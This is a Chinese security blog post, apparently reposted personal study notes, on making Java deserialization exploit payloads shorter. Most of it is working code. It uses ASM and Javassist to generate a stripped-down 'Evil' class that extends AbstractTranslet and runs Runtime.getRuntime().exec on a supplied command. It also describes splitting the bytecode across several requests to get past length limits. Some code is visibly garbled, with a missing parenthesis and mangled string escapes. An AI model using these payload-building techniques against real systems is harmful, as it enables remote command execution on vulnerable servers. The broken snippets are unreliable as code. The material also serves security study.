反序列化payload缩小长度

admin 2024年1月19日12:53:40评论12 views字数 5246阅读17分29秒阅读模式

1.修改gadeget

2.通过修改字节码删掉一些无用代码

如使用asm删掉LineNumberTable 删掉行号

byte[] bytes = Files.readAllBytes(Paths.get(path));
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
int api = Opcodes.ASM9;
ClassVisitor cv = new ShortClassVisitor(api, cw);
int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
cr.accept(cv, parsingOptions);
byte[] out = cw.toByteArray();
Files.write(Paths.get(path), out);
ShortClassVisitor
public class ShortClassVisitor extends ClassVisitor {
   private final int api;
   public ShortClassVisitor(int api, ClassVisitor classVisitor) {
       super(api, classVisitor);
       this.api = api;
   }
   @Override
   public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
       MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
       return new ShortMethodAdapter(this.api, mv);
   }
}
重点在于ShortMethodAdapter:如果遇到LINENUMBER指令则阻止传递,可以理解为返回空
public class ShortMethodAdapter extends MethodVisitor implements Opcodes {
   public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {
       super(api, methodVisitor);
   }
   @Override
   public void visitLineNumber(int line, Label start) {
       // delete line number
   }
}
读取编译的字节码并处理后替换

3.通过Javassist动态生成的恶意字节码

这种确实比原生的少一些字节,虽然代码看上去几乎一模一样了。而且使用javap -c -l EvilByteCodes.class 确实没有明显看出来LineNumber。

如图所示:
通过Javassit动态生成构造出来的代码:

反序列化payload缩小长度

直接写出来的代码

反序列化payload缩小长度

长度比较

反序列化payload缩小长度

javaassist动态生成恶意代码的代码

private static byte[] getTemplatesImpl(String cmd{
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody("        try {n" +
                    "            Runtime.getRuntime().exec("" + cmd + "");n" +
                    "        } catch (Exception ignored) {n" +
                    "        }");
            CtMethod ctMethod1 = CtMethod.make("    public void transform(" +
                    "com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
                    "com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {n" +
                    "    }", ctClass);
            ctClass.addMethod(ctMethod1);
            CtMethod ctMethod2 = CtMethod.make("    public void transform(" +
                    "com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
                    "com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, " +
                    "com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {n" +
                    "    }", ctClass);
            ctClass.addMethod(ctMethod2);
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

4.删掉无用代码

比如因为继承多了一些空白重写方法。使用asm删掉,或者直接javassist去构造无重写方法。据说都能跑起来
(1)通过ASM删除方法

@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
   if (name.equals("transform")) {
       return null;
   }
   MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
   return new ShortMethodAdapter(this.api, mv, name);
}

(2)通过Javassist直接构造

private static byte[] getTemplatesImpl(String cmd{
   try {
       ClassPool pool = ClassPool.getDefault();
       CtClass ctClass = pool.makeClass("Evil");
       CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
       ctClass.setSuperclass(superClass);
       CtConstructor constructor = ctClass.makeClassInitializer();
       constructor.setBody("        try {n" +
                           "            Runtime.getRuntime().exec("" + cmd + "");n" +
                           "        } catch (Exception ignored) {n" +
                           "        }");
       byte[] bytes = ctClass.toBytecode();
       ctClass.defrost();
       return bytes;
   } catch (Exception e) {
       e.printStackTrace();
       return new byte[]{};
   }
}

5.删除静态代码块,将代码写入空参构造

ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make("    public Evil(){n" +
                                                 "        try {n" +
                                                 "            Runtime.getRuntime().exec("" + cmd + "");n" +
                                                 "        }catch (Exception ignored){}n" +
                                                 "    }", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;

6.分块传输

可以用追加的方式发送多个请求往指定文件中写入字节码,将真正需要执行的字节码分块
使用Javassist动态生成写入每一分块的Payload,以追加的方式将所有字节码的Base64写入某文件

这主要是我2022年自己学习java安全过程中搜集相关资料找到的,然后当时实践过一部分。仅作自己知识记录

主要借鉴学习参考:https://developer.aliyun.com/article/863792#slide-5 原文好像是另一个大佬的,忘记是谁的了。。0-0

原文始发于微信公众号(天才少女Alpha):反序列化payload缩小长度

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月19日12:53:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反序列化payload缩小长度http://cn-sec.com/archives/2408739.html

发表评论

匿名网友 填写信息